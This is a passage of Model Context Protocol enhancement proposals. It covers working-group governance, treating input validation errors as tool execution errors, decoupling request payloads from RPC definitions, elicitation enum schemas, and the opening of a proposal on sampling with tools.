* A community moderator will review and call for a vote in the (private) #community-moderators Discord channel. Majority positive vote by members over a 72h period approves creation of the group. Can be reversed at any time (e.g. after more input comes in). Core and lead maintainers can veto.
* Facilitator(s) and Maintainer(s) responsible for organizing WG into meeting expectations
* Facilitator is an informal role responsible for shepherding or speaking for a group
* Maintainer is an official representative from the MCP steering group (not required for every group to have this)
* WG is retired when either:
* Community moderators or core+ maintainers decide it is not meeting expectations
* The WG does not have a WIP Issue/PR for at least a month, or has completed all Issues/PRs it intends to pursue.
**Creation Template**:
* Facilitator(s)
* Maintainer(s) (optional)
* Explanation of interest/use cases (ideally from an IG but can come from anywhere)
* First Issue/PR/SEP you intend to procure
### WG/IG Facilitators
A “Facilitator” role in a WG or IG does *not* result in a [maintainership role](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md) across the MCP organization. It is an informal role into which anyone can self-nominate, responsible for helping shepherd discussions and collaboration within the group.
Core Maintainers reserve the right to modify the list of Facilitators and Maintainers for any WG/IG at any time.
PR for the changes to our documentation we'd want to enact this SEP: [https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1350](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1350)
## Rationale
*The rationale explains why particular design decisions were made. It should describe alternate designs that were considered and related work. The rationale should provide evidence of consensus within the community and discuss important objections or concerns raised during discussion.*
The design above comes from experience in facilitating the creation of + observing the behavior of informal “Community Working Groups” in the CWG Discord, and leading one of / participating in / observing the “Steering Committee Working Groups”. While the Steering WG’s were usually informally created by Lead Maintainers, the CWG Discord had a lightweight WG-creation process that involved similar steps to the proposal above (community members would propose WG’s in #working-group-ideation, and moderators would create channels from that collaboration).
As precedent, the WG and IG concepts here are similar to W3C’s notion of [Working Groups](https://www.w3.org/groups/wg/) and [Interest Groups](https://www.w3.org/groups/ig/).
### Considerations
In proposing the WG/IG design, we took the following into consideration:
#### Clear on-ramp for community involvement
A very common question for folks looking to invest in the MCP ecosystem is, "how do I get involved?"
These IG and WG abstractions help provide an elegant on-ramp:
1. Join the Discord, follow the conversation in IGs relevant to you. Attend live calls. Participate.
2. Offer to facilitate calls. Contribute your use cases in SEP proposals and other work.
3. When you're comfortable contributing to deliverables, jump in to contribute to WG work.
4. Do this for a period of time, get noticed by WG maintainers to get nominated as a new maintainer.
#### Minimal changes to existing governance structure
We did not want this change to introduce new elections, appointments, or other notions of leadership. We leverage community moderators to thumbs-up creation of new groups, allow core maintainers to veto, maintainership status stays unchanged, and the notion of "facilitator" is new but self-nominated, so does not introduce any new governance processes.
#### Alignment with current status quo
There is a clear "migration" path for the existing "CWG" working groups and Steering working groups - just a matter of sorting out what is "working" vs. "interest", but functionally this proposal stays out of the way of changing anything that has been working within each group's existing structure.
#### Nature of requests for gathering spaces
It has been clear from the requests to CWG that some groups form with a motivation to collaborate on some deliverable (e.g. `search-tools`), and others form due to common interests and a want for sub-community but not yet specific deliverables (e.g. `enterprise`). Hence, we separate the motivations into Working Groups vs. Interest Groups.
#### Potential for overlap in scope
In the requests for new group spaces, it is sometimes non-obvious why a new one needs to exist. For example, the stated motivation for `enterprise` at times sounded like it may just be another flavor of `hosting`. We ultimately settled on a distinction that made it clear one was not a direct subset of the other, but the concern of making clear boundaries between groups (and letting community moderators / maintainers centralize the decision-making around "what are the right layers of abstraction") is what led to the questions in the creation templates around e.g. "flag potential overlap with other IG’s".
#### Path to retiring stale groups
Many working groups in the old CWG and Steering models have gone stale since creation. They serve no real purpose and should be retired. For this, we introduce the formal concept of facilitators and optional maintainers in groups; and the community moderator right to retire them. By having at least informal leadership in place per group, a moderator can easily make the decision to retire a group if everyone is in agreement to proceed.
### Alternatives Considered
#### Hierarchy between IGs and WGs
We considered *requiring* that WGs be owned or spawned by a "sponsor" IG, for the purpose of more clearly exhibiting a progression of ideas to the community; but decided against this requiring to avoid adding a new layer of governance and alignment with how the less formal groups works today.
#### A single WG concept (instead of both WG and IG)
There has been regular tension in both CWG and the Steering group around the question of "is XYZ really a working group? how will maintainership work?" By making IG's explicitly discussion-oriented and maintainership involvement optional, we create a space to drive those discussions without requiring some formal expectation of deliverables like we might in a well-defined WG.
#### Free-for-all WG/IG creation process
While very community-driven, the concern of group overlap would quickly fragment the conversations and collaboration to an untenable level; we need a centralized point of discernment here.
## Backward Compatibility
*All SEPs that introduce backward incompatibilities must include a section describing these incompatibilities and their severity. The SEP must explain how the author proposes to deal with these incompatibilities.*
There is no major change suggested in the day to day of existing groups - the expectations laid out of IGs and WGs are easily met by existing active groups as long as they keep doing as they are doing.
A migration path for all groups is laid out below.
## Reference Implementation
*The reference implementation must be completed before any SEP is given status “Final”, but it need not be completed before the SEP is accepted. While there is merit to the approach of reaching consensus on the specification and rationale before writing code, the principle of “rough consensus and running code” is still useful when it comes to resolving many discussions of protocol details.*
The below is the suggested migration path for each group. "Migration" just involves acknowledgement of this SEP and the expectations of each group, plus methodology for possible eventual retirement (or immediate retirement, in some cases).
After this SEP is approved, we can ping each of the groups to confirm they are on board with the migration plan.
### Steering Working Groups
* All official SDK groups --> Working Groups
* Registry --> Working Group
* Documentation --> Working Group
* Inspector --> Working Group
* Auth --> Interest Group + some WGs: client-registration, improve-devx, profiles, tool-scopes
* Agents --> Working Group \[Long Running / Async Tool Calls; unless we want an Agents IG on top of that?]
* Connection Lifetime --> Retire
* Streaming --> Retire
* Spec Compliance --> Retire (good idea but stale; would be good for someone to spearhead a new Working Group)
* Security --> Interest Group (perhaps with Security Best Practices WG?)
* Transports --> Interest Group
* Server Identity --> Working Group
* Governance --> Working Group (or Retire if no more work here?)
### Community Working Groups
* agent-comms --> Retire
* enterprise --> Interest Group (request a proposal to start)
* hosting --> Interest Group (request a proposal to start)
* load-balancing --> Retire
* model-awareness --> Working Group (request a proposal to start)
* search-tools (tool-filtering) --> Working Group
* server-identity --> merge with Steering equivalent
* security --> merge with Steering equivalent
* server-identity --> merge with Steering equivalent
* tool-interfaces --> Retire
* ui --> Interest Group
* schema-validation --> Retire (same as Steering equivalent)
# SEP-1303: Input Validation Errors as Tool Execution Errors
Source: https://modelcontextprotocol.io/seps/1303-input-validation-errors-as-tool-execution-errors
Input Validation Errors as Tool Execution Errors
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 1303 |
| **Title** | Input Validation Errors as Tool Execution Errors |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-08-05 |
| **Author(s)** | [@fredericbarthelet](https://github.com/fredericbarthelet) |
| **Sponsor** | None |
| **PR** | [#1303](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1303) |
***
## Abstract
This SEP proposes treating tools input validation errors as Tool Execution Errors rather than Protocol Errors. This change would enable language models to receive validation error feedback in their context window, allowing them to self-correct and successfully complete tasks without human intervention, significantly improving task completion rate.
## Motivation
Language models can learn from tool input validation error messages and retry a tools/call with corrected parameters accordingly, but only if they receive the error feedback in their context window. Protocol Errors are catch at the application level by the MCP Client. Only Tool Execution Errors are forwarded back to the model as JSON-RPC responses. With the current specifications, models cannot see these error messages and thus cannot self-correct, leading to repeated failures and poor user experiences.
### Problem Statement
Consider a flight booking tool that validates departure dates using the following `zod` validation schema:
```typescript theme={null}
departureDate: z.string()
.regex(/^\d{2}\/\d{2}\/\d{4}$/, "date must be in dd/mm/yyyy format")
.superRefine((dateStr, ctx) => {
const date = parseDateFr(dateStr);
if (date.getTime() < Date.now()) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
message:
"Dates must be in the future. Current date is " +
formatDateFr(new Date()),
});
}
return true;
})
.describe("Departure date in dd/mm/yyyy format");
```
Tool expected input JSON schema can only describe the regex statement. The actual programmatic check that the date is in the past cannot be expressed here as JSON schema.
Even when a model provides a syntactically correct date that passes JSON schema validation, there is no guarantee it will be in the future. When a validation error is raised and returned as a Protocol Error:
1. The model doesn't receive the error message explaining why the date was rejected
2. The model repeats the same mistake multiple times (e.g., Cursor typically consistently sends dates in 2024 when the user only specify day and month or relative date and repeats the same tools/call request 3 times without getting any information as to why the tools call fails)
3. The task fails despite the model being capable of correcting itself if given proper feedback
4. Users experience frustration and must manually intervene
### Benefits of This Proposal
1. **Higher Task Completion Rates**: Models can self-correct validation errors without human intervention
2. **Better User Experience**: Reduced failures and faster task completion
3. **Leverages Model Capabilities**: Modern LLMs excel at understanding and responding to error messages
4. **Reduced API Calls**: Fewer retry attempts as models correct themselves on the first error
## Specification
### Current Behavior
The [tool errors specification](https://modelcontextprotocol.io/specification/2025-06-18/server/tools#error-handling) currently provides ambiguous guidance:
* "Invalid arguments" should be treated as Protocol Error
* "Invalid input data" should be treated as Tool Execution Error
This ambiguity leads to inconsistent implementations where valuable error feedback is lost.
### Proposed Change
Clarify the specification with the following changes:
1. Removes the "invalid argument" category from **Protocol Errors**.
2. **Tool Execution Errors** should be used for all tool argument validation failures (merging `invalid argument` and `invalid input data` under a new `input validation errors` category)
### Specification Text Changes
Update the error handling section to include:
```
## Error Handling
Tools use two error reporting mechanisms:
1. **Protocol Errors**: Standard JSON-RPC errors for issues like:
- Unknown tools
- Server errors
2. **Tool Execution Errors**: Reported in tool results with `isError: true`:
- API failures
- Input validation errors
- Business logic errors
```
## Implementation
### Before (Protocol Error)
```typescript theme={null}
// Model submits past date
request: {
...
method: "tools/call",
params: {
name: "book_flight",
arguments: {
departureDate: "12/12/2024" // Past date
}
}
}
// Server returns Protocol Error
response: {
...
error: {
code: -32602,
message: "Invalid params"
}
}
// Model retries blindly with another past date
// This cycle repeats until failure
```
### After (Tool Execution Error)
```typescript theme={null}
// Model submits past date
request: {
...
method: "tools/call",
params: {
name: "book_flight",
arguments: {
departureDate: "12/12/2024" // Past date
}
}
}
// Server returns Tool Execution Error (visible to model)
response: {
...
"result": {
"content": [
{
"type": "text",
"text": "Dates must be in the future. Current date is 08/08/2025"
}
],
"isError": true
}
}
// Model understands the error and corrects itself
request: {
method: "tools/call",
params: {
name: "book_flight",
arguments: {
departureDate: "12/12/2025" // Future date
}
}
}
```
## Backwards Compatibility
This change is backwards compatible as it:
* Does not alter the protocol structure
* Only clarifies existing ambiguous behavior
* Maintains all existing error types and formats
* Improves behavior without breaking existing implementations
Servers implementing the clarified behavior will provide better model self-recovery while continuing to work with all existing clients.
## References
* [MCP Tools Error Handling Specification](https://modelcontextprotocol.io/specification/2025-06-18/server/tools#error-handling)
* [Better MCP tools/call Error Responses: Help Your AI Recover Gracefully](https://dev.to/alpic/better-mcp-toolscall-error-responses-help-your-ai-recover-gracefully-15c7)
* Related Issue: [https://github.com/modelcontextprotocol/typescript-sdk/pull/824](https://github.com/modelcontextprotocol/typescript-sdk/pull/824)
# SEP-1319: Decouple Request Payload from RPC Methods Definition
Source: https://modelcontextprotocol.io/seps/1319-decouple-request-payload-from-rpc-methods-definiti
Decouple Request Payload from RPC Methods Definition
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 1319 |
| **Title** | Decouple Request Payload from RPC Methods Definition |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-08-08 |
| **Author(s)** | [@kurtisvg](https://github.com/kurtisvg) |
| **Sponsor** | None |
| **PR** | [#1319](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1319) |
***
## Abstract
This SEP proposes a structural refactoring of the Model Context Protocol (MCP) specification. The core change is to define payload of requests (e.g., CallToolRequest) as independent definitions and have the RPC method definitions refer to these models. This decouples the definition of the data payload from the definition of the remote procedure that transports it, leading to a clearer, more modular, and more maintainable specification.
## Motivation
The current MCP specification tightly couples the data payload of a request with the JSON-RPC method that transports it. This design presents several challenges:
* **Reduced Clarity:** It forces developers to mentally parse the JSON-RPC transport structure just to understand the core data being exchanged. This increases cognitive load and makes the specification difficult to read and implement correctly.
* **Hindered Maintainability:** Defining data structures inline prevents their reuse across different methods, leading to redundancy and making future updates to the protocol more complex and error-prone.
* **Tightly Coupled to JSON-RPC:** Most critically, this tight coupling to JSON-RPC is the primary blocker for defining bindings for other transport protocols. To support transports like **gRPC** (which is currently a [popular ask from the community](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/966)), a transport-agnostic definition of its request and response messages. The current structure makes this practically impossible.
By refactoring the specification to separate the data model (the "what") from the RPC method (the "how"), this proposal will create a clearer, more modular specification. This change will immediately improve the developer experience and, most importantly, pave the way for the future evolution of MCP across multiple transports.
## Specification
The proposal introduces the following principle: All data structures used as parameters (params) or results (result) for RPC methods should be defined as standalone, named schemas. The RPC method definitions will then use references to these schemas.
### Current Approach (Inline Definition):
The RPC method definition contains the full structure of its parameters and results.
```ts theme={null}
export interface CallToolRequest extends Request {
method: "tools/call";
params: {
name: string;
arguments?: { [key: string]: unknown };
};
}
```
### Proposed Approach (Decoupled Definition):
First, the data models for the request and response are defined as top-level schemas.
```ts theme={null}
/**
* Parameters for a `tools/call` request.
*
* @category tools/call
*/
export interface CallToolRequestParams extends RequestParams {
name: string;
arguments?: { [key: string]: unknown };
}
```
Then, the RPC method definition becomes much simpler, merely referring to these models.
```ts theme={null}
export interface CallToolRequest extends Request {
method: "tools/call";
params: CallToolRequestParams;
}
```
## Rationale
The proposed solution—separating payload definitions from the RPC method—was chosen as the most direct and non-disruptive path to achieving the goals outlined in the motivation.
This approach establishes a clear architectural boundary between two distinct concerns:
1. **The Data Layer:** The transport-agnostic payload definition (e.g., `CallToolRequestParams`), which represents the core information being exchanged.
2. **The Transport Layer:** The protocol-specific wrapper (e.g., the JSON-RPC `CallToolRequest` object), which describes how the data is sent.
This architectural separation is superior to maintaining separate, parallel specifications for each transport (e.g., one for JSON-RPC, another for gRPC), which would introduce significant maintenance overhead and risk inconsistencies.
Crucially, this design refactors the specification document itself but intentionally **leaves the on-the-wire format unchanged**. This makes the proposal fully backward-compatible, requiring no changes from existing, compliant clients and servers. In short, this change is a strategic, foundational improvement that enables future growth without penalizing the current ecosystem.
## Backward Compatibility
This proposal is a **non-breaking change** for existing implementations. It is a refactoring of the *specification document itself* and does not alter the on-the-wire JSON format of the protocol messages. A client or server that is compliant with the old specification structure will remain compliant with the new one, as the resulting JSON payloads are identical.
The primary impact is on developers who read the specification and on tools that parse the specification to generate code or documentation.
# SEP-1330: Elicitation Enum Schema Improvements and Standards Compliance
Source: https://modelcontextprotocol.io/seps/1330-elicitation-enum-schema-improvements-and-standards
Elicitation Enum Schema Improvements and Standards Compliance
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 1330 |
| **Title** | Elicitation Enum Schema Improvements and Standards Compliance |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-08-11 |
| **Author(s)** | chughtapan |
| **Sponsor** | None |
| **PR** | [#1330](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1330) |
***
## Abstract
This SEP proposes improvements to enum schema definitions in MCP, deprecating the non-standard `enumNames` property in favor of JSON Schema-compliant patterns, and introducing additional support for multi-select enum schemas in addition to single choice schemas. The new schemas have been validated against the JSON specification.
**Schema Changes:** [https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1148](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1148)
Typescript SDK Changes: [https://github.com/modelcontextprotocol/typescript-sdk/pull/1077](https://github.com/modelcontextprotocol/typescript-sdk/pull/1077)
Python SDK Changes: [https://github.com/modelcontextprotocol/python-sdk/pull/1246](https://github.com/modelcontextprotocol/python-sdk/pull/1246)
**Client Implementation:** [https://github.com/evalstate/fast-agent/pull/324/files](https://github.com/evalstate/fast-agent/pull/324/files)
**Working Demo:** [https://asciinema.org/a/anBvJdqEmTjw0JkKYOooQa5Ta](https://asciinema.org/a/anBvJdqEmTjw0JkKYOooQa5Ta)
## Motivation
The existing schema for enums uses a non-standard approach to adding titles to enumerated values. It also limits use of enums in Elicitation (and any other schema object that should adopt `EnumSchema` in the future) to a single selection model. It is a common pattern to ask the user to select multiple entries. In the UI, this amounts to the difference between using checkboxes or radio buttons.
For these reasons, we propose the following non-breaking minor improvements to the `EnumSchema` for improving user and developer experience.
* Keep the existing `EnumSchema` as "Legacy"
* It uses a non-standard approach for adding titles to enumerated values
* Mark it as Legacy but still support it for now.
* As per @dsp-ant When we have a proper deprecation strategy, we'll mark it deprecated
* Introduce the distinction between Untitled and Titled enums.
* If the enumerated values are sufficient, no separate title need be specified for each value.
* If the enumerated values are not optimal for display, a title may be specified for each value.
* Introduce the distinction between Single and Multi-select enums.
* If only one value can be selected, a Single select schema can be used
* If more than one value can be selected, a Multi-select schema can be used
* In `ElicitResponse`, add array as an `additionalProperty` type
* Allows multiple selection of enumerated values to be returned to the server
## Specification
### 1. Mark Current `EnumSchema` with Non-Standard `enumNames` Property as "Legacy"
The current MCP specification uses a non-standard `enumNames` property for providing display names for enum values. We propose to mark `enumNames` property as legacy, suggest using `TitledSingleSelectEnum`, a standards compliant enum type we define below.
```typescript theme={null}
// Continue to support the current EnumSchema as Legacy
/**
* Legacy: Use TitledSingleSelectEnumSchema instead.
* This interface will be removed in a future version.
*/
export interface LegacyEnumSchema {
type: "string";
title?: string;
description?: string;
enum: string[];
enumNames?: string[]; // Titles for enum values (non-standard, legacy)
}
```
### 2. Define Single Selection Enums (with Titled and Untitled varieties)
Enums may or may not need titles. The enumerated values may be human readable and fine for display. In which case an untitled implementation using the JSON Schema keyword `enum` is simpler. Adding titles requires the `enum` array to be replaced with an array of objects using `const` and `title`.
```typescript theme={null}
// Single select enum without titles
export type UntitledSingleSelectEnumSchema = {
type: "string";
title?: string;
description?: string;
enum: string[]; // Plain enum without titles
};
// Single select enum with titles
export type TitledSingleSelectEnumSchema = {
type: "string";
title?: string;
description?: string;
oneOf: Array<{
const: string; // Enum value
title: string; // Display name for enum value
}>;
};
// Combined single selection enumeration
export type SingleSelectEnumSchema =
UntitledSingleSelectEnumSchema | TitledSingleSelectEnumSchema;
```
### 3. Introduce Multiple Selection Enums (with Titled and Untitled varieties)
While elicitation does not support arbitrary JSON types like arrays and objects so clients can display the selection choice easily, multiple selection enumerations can be easily implemented.
```typescript theme={null}
// Multiple select enums without titles
export type UntitledMultiSelectEnumSchema = {
type: "array";
title?: string;
description?: string;
minItems?: number; // Minimum number of items to choose
maxItems?: number; // Maximum number of items to choose
items: {
type: "string";
enum: string[]; // Plain enum without titles
};
};
// Multiple select enums with titles
export type TitledMultiSelectEnumSchema = {
type: "array";
title?: string;
description?: string;
minItems?: number; // Minimum number of items to choose
maxItems?: number; // Maximum number of items to choose
items: {
oneOf: Array<{
const: string; // Enum value
title: string; // Display name for enum value
}>;
};
};
// Combined Multiple select enumeration
export type MultiSelectEnumSchema =
UntitledMultiSelectEnumSchema | TitledMultiSelectEnumSchema;
```
### 4. Combine All Varieties as `EnumSchema`
The final `EnumSchema` rolls up the legacy, multi-select, and single-select schemas as one, defined as:
```typescript theme={null}
// Combined legacy, multiple, and single select enumeration
export type EnumSchema =
SingleSelectEnumSchema | MultiSelectEnumSchema | LegacyEnumSchema;
```
### 5. Extend ElicitResult
The current elicitation result schema only allows returning primitive types. We extend this to include string arrays for MultiSelectEnums:
```typescript theme={null}
export interface ElicitResult extends Result {
action: "accept" | "decline" | "cancel";
content?: { [key: string]: string | number | boolean | string[] }; // string[] is new
}
```
## Instance Schema Examples
### Single-Select Without Titles (No change)
```json theme={null}
{
"type": "string",
"title": "Color Selection",
"description": "Choose your favorite color",
"enum": ["Red", "Green", "Blue"],
"default": "Green"
}
```
### Legacy Single Select With Titles
```json theme={null}
{
"type": "string",
"title": "Color Selection",
"description": "Choose your favorite color",
"enum": ["#FF0000", "#00FF00", "#0000FF"],
“enumNames”: ["Red", "Green", "Blue"],
"default": "Green"
}
```
### Single-Select with Titles
```json theme={null}
{
"type": "string",
"title": "Color Selection",
"description": "Choose your favorite color",
"oneOf": [
{ "const": "#FF0000", "title": "Red" },
{ "const": "#00FF00", "title": "Green" },
{ "const": "#0000FF", "title": "Blue" }
],
"default": "#00FF00"
}
```
### Multi-Select Without Titles
```json theme={null}
{
"type": "array",
"title": "Color Selection",
"description": "Choose your favorite colors",
"minItems": 1,
"maxItems": 3,
"items": {
"type": "string",
"enum": ["Red", "Green", "Blue"]
},
"default": ["Green"]
}
```
### Multi-Select with Titles
```json theme={null}
{
"type": "array",
"title": "Color Selection",
"description": "Choose your favorite colors",
"minItems": 1,
"maxItems": 3,
"items": {
"anyOf": [
{ "const": "#FF0000", "title": "Red" },
{ "const": "#00FF00", "title": "Green" },
{ "const": "#0000FF", "title": "Blue" }
]
},
"default": ["Green"]
}
```
## Rationale
1. **Standards Compliance**: Aligns with official JSON Schema specification. Standard patterns work with existing JSON Schema validators
2. **Flexibility**: Supports both plain enums and enums with display names for single and multiple choice enums.
3. **Client Implementation:** shows that the additional overhead of implementing a group of checkboxes v/s a single checkbox is minimal: [https://github.com/evalstate/fast-agent/pull/324/files](https://github.com/evalstate/fast-agent/pull/324/files)
## Backwards Compatibility
The `LegacyEnumSchema` type maintains backwards compatible during the migration period. Existing implementations using `enumNames` will continue to work until a protocol-wide deprecation strategy is implemented, and this schema is removed.
## Reference Implementation
**Schema Changes:** [https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1148](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1148)
Typescript SDK Changes: [https://github.com/modelcontextprotocol/typescript-sdk/pull/1077](https://github.com/modelcontextprotocol/typescript-sdk/pull/1077)
Python SDK Changes: [https://github.com/modelcontextprotocol/python-sdk/pull/1246](https://github.com/modelcontextprotocol/python-sdk/pull/1246)
**Client Implementation:** [https://github.com/evalstate/fast-agent/pull/324/files](https://github.com/evalstate/fast-agent/pull/324/files)
**Working Demo:** [https://asciinema.org/a/anBvJdqEmTjw0JkKYOooQa5Ta](https://asciinema.org/a/anBvJdqEmTjw0JkKYOooQa5Ta)
## Security Considerations
No security implications identified. This change is purely about schema structure and standards compliance.
## Appendix
### Validations
Using stored validations in the JSON Schema Validator at [https://www.jsonschemavalidator.net/](https://www.jsonschemavalidator.net/) we validate:
* All of the example instance schemas from this document against the proposed JSON meta-schema `EnumSchema` in the next section.
* Valid and invalid values against the example instance schemas from this document.
#### Legacy Single Selection
* `EnumSchema` validating a [legacy single select instance schema with titles](https://www.jsonschemavalidator.net/s/lsK7Bn0C)
* The legacy titled single select instance schema validating [a correct single selection](https://www.jsonschemavalidator.net/s/GSk7rnRe)
* The legacy titled single select instance schema validating [an incorrect single selection](https://www.jsonschemavalidator.net/s/3kYvxsVP)
#### Single Selection
* `EnumSchema` validating a [single select instance schema without titles](https://www.jsonschemavalidator.net/s/MBlHW5IQ)
* `EnumSchema` validating a [single select instance schema with titles](https://www.jsonschemavalidator.net/s/s38xt4JV)
* The untitled single select instance schema validating [a correct single selection](https://www.jsonschemavalidator.net/s/M0hkYoeG)
* The untitled single select instance schema invalidating [an incorrect single selection](https://www.jsonschemavalidator.net/s/3Try4BCt)
* The titled single select instance schema validating [a correct single selection](https://www.jsonschemavalidator.net/s/4oDbv9yt)
* The titled single select instance schema invalidating [an incorrect single selection](https://www.jsonschemavalidator.net/s/A2KlNzLH)
#### Multiple Selection
* `EnumSchema` validating the [multi-select instance schema without titles](https://www.jsonschemavalidator.net/s/4uc3Ndsq)
* `EnumSchema` validating the [multi-select instance schema with titles](https://www.jsonschemavalidator.net/s/TmkIqqXI)
* The untitled multi-select instance schema validating [a correct multiple selection](https://www.jsonschemavalidator.net/s/IE8Bkvtg)
The untitled multi-select instance schema validating invalidating[ an incorrect multiple selection](https://www.jsonschemavalidator.net/s/8tlqjUgW)
The titled multi-select instance schema validating [a correct multiple selection](https://www.jsonschemavalidator.net/s/Nb1Rw1qa)
The titled multi-select instance schema validating invalidating [an incorrect multiple selection](https://www.jsonschemavalidator.net/s/MRfyqrVC)
### JSON meta-schema
This is our proposal for the replacement of the current `EnumSchema` in the specification’s `schema.json`.
```json theme={null}
{
"$schema": "https://json-schema.org/draft-07/schema",
"definitions": {
// New Definitions Follow
"UntitledSingleSelectEnumSchema": {
"type": "object",
"properties": {
"type": { "const": "string" },
"title": { "type": "string" },
"description": { "type": "string" },
"enum": {
"type": "array",
"items": { "type": "string" },
"minItems": 1
}
},
"required": ["type", "enum"],
"additionalProperties": false
},
"UntitledMultiSelectEnumSchema": {
"type": "object",
"properties": {
"type": { "const": "array" },
"title": { "type": "string" },
"description": { "type": "string" },
"minItems": {
"type": "number",
"minimum": 0
},
"maxItems": {
"type": "number",
"minimum": 0
},
"items": {
"type": "object",
"properties": {
"type": { "const": "string" },
"enum": {
"type": "array",
"items": { "type": "string" },
"minItems": 1
}
},
"required": ["type", "enum"],
"additionalProperties": false
}
},
"required": ["type", "items"],
"additionalProperties": false
},
"TitledSingleSelectEnumSchema": {
"type": "object",
"required": ["type", "anyOf"],
"properties": {
"type": { "const": "string" },
"title": { "type": "string" },
"description": { "type": "string" },
"anyOf": {
"type": "array",
"items": {
"type": "object",
"required": ["const", "title"],
"properties": {
"const": { "type": "string" },
"title": { "type": "string" }
},
"additionalProperties": false
}
}
},
"additionalProperties": false
},
"TitledMultiSelectEnumSchema": {
"type": "object",
"required": ["type", "anyOf"],
"properties": {
"type": { "const": "array" },
"title": { "type": "string" },
"description": { "type": "string" },
"anyOf": {
"type": "array",
"items": {
"type": "object",
"required": ["const", "title"],
"properties": {
"const": { "type": "string" },
"title": { "type": "string" }
},
"additionalProperties": false
}
}
},
"additionalProperties": false
},
"LegacyEnumSchema": {
"properties": {
"type": {
"type": "string",
"const": "string"
},
"title": { "type": "string" },
"description": { "type": "string" },
"enum": {
"type": "array",
"items": { "type": "string" }
},
"enumNames": {
"type": "array",
"items": { "type": "string" }
}
},
"required": ["enum", "type"],
"type": "object"
},
"EnumSchema": {
"oneOf": [
{ "$ref": "#/definitions/UntitledSingleSelectEnumSchema" },
{ "$ref": "#/definitions/UntitledMultiSelectEnumSchema" },
{ "$ref": "#/definitions/TitledSingleSelectEnumSchema" },
{ "$ref": "#/definitions/TitledMultiSelectEnumSchema" },
{ "$ref": "#/definitions/LegacyEnumSchema" }
]
}
}
}
```
# SEP-1577: Sampling With Tools
Source: https://modelcontextprotocol.io/seps/1577--sampling-with-tools
Sampling With Tools
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 1577 |
| **Title** | Sampling With Tools |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-09-30 |
| **Author(s)** | Olivier Chafik ([@ochafik](https://github.com/ochafik)) |
| **Sponsor** | None |
| **PR** | [#1577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1577) |
***
## Abstract
This SEP introduces `tools` & `toolChoice` params to `sampling/createMessage` and soft-deprecates `includeContext` (fences `thisServer` & `allServers` under a capability). This allows MCP servers to run their own agentic loops using the client's tokens (still under the user supervision), and reduces the complexity of client implementations (context support becoming explicitly optional).
## Motivation
* [Sampling](https://modelcontextprotocol.io/specification/2025-06-18/client/sampling) doesn't support tool calling, although it's a cornerstone of modern agentic behaviour. Without explicit support for it, MCP servers that use Sampling can either try and emulate tool calling w/ complex prompting / custom parsing of the outputs, or are limited to simpler, non-agentic requests. Adding support for tool calling could unlock many novel use cases in the MCP ecosystem.
* Context inclusion is ambiguously defined (see [this doc](https://docs.google.com/document/d/1KUsloHpsjR4fdXdJuofb9jUuK0XWi88clbRm9sWE510/edit?tab=t.0#heading=h.edw7oyac2e87)): it makes it particularly tricky to fully implement sampling, which along with other precautions needed for sampling (unaffected by this SEP) may have contributed to [low adoption of the feature in clients](https://modelcontextprotocol.io/clients#feature-support-matrix) (feature was introduced in the MCP Nov 2024 spec).
Please note some related work:
* [MCP Sampling](https://docs.google.com/document/d/1KUsloHpsjR4fdXdJuofb9jUuK0XWi88clbRm9sWE510/edit?tab=t.0#heading=h.5diekssgi3pq) (@jerome3o-anthropic): extremely similar proposal:
* Add same tools semantics,
* Deprecate `includeContext` (doc explains why its semantics are ambiguous)
* (goes further to suggest explicit context sharing, which is out of scope from this proposal)
* [Allow Prompt/Sampling Messages to contain multiple content blocks. #198](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/198)
* In this PR we've made `{CreateMessageResult,SamplingMessage}.content` to accept a single content or an array of contents. The `result.content` change is backwards incompatible but is required to support parallel tool calls. The `SamplingMessage.content` change then makes it much more natural to write a tool loop (see example in reference implementation: [toolLoopSampling.ts](https://github.com/modelcontextprotocol/typescript-sdk/blob/ochafik/sep1577/src/examples/server/toolLoopSampling.ts))
In the "Possible Follow ups" Section below, we give examples of features that were kept out of scope from this SEP but which we took care to make this SEP reasonably compatible with.
## Specification
### Overview
* Add traditional tool call support in [CreateMessageRequest](https://modelcontextprotocol.io/specification/2025-06-18/schema#createmessagerequest) w/ `tools` (w/ JSON schemas) & `toolChoice` params, requiring a server-side tool loop
* Sampling may now yield ToolCallBlock responses
* Server needs to call tools by itself
* Server calls sampling again with ToolResultParamBlock to inject tool results
* `toolChoice.mode` can be `“auto" | "required" | "none"` to allow common structured outputs use case (see below for possible follow up improvements)
* Fenced by new capability (`sampling { tools {} }`)
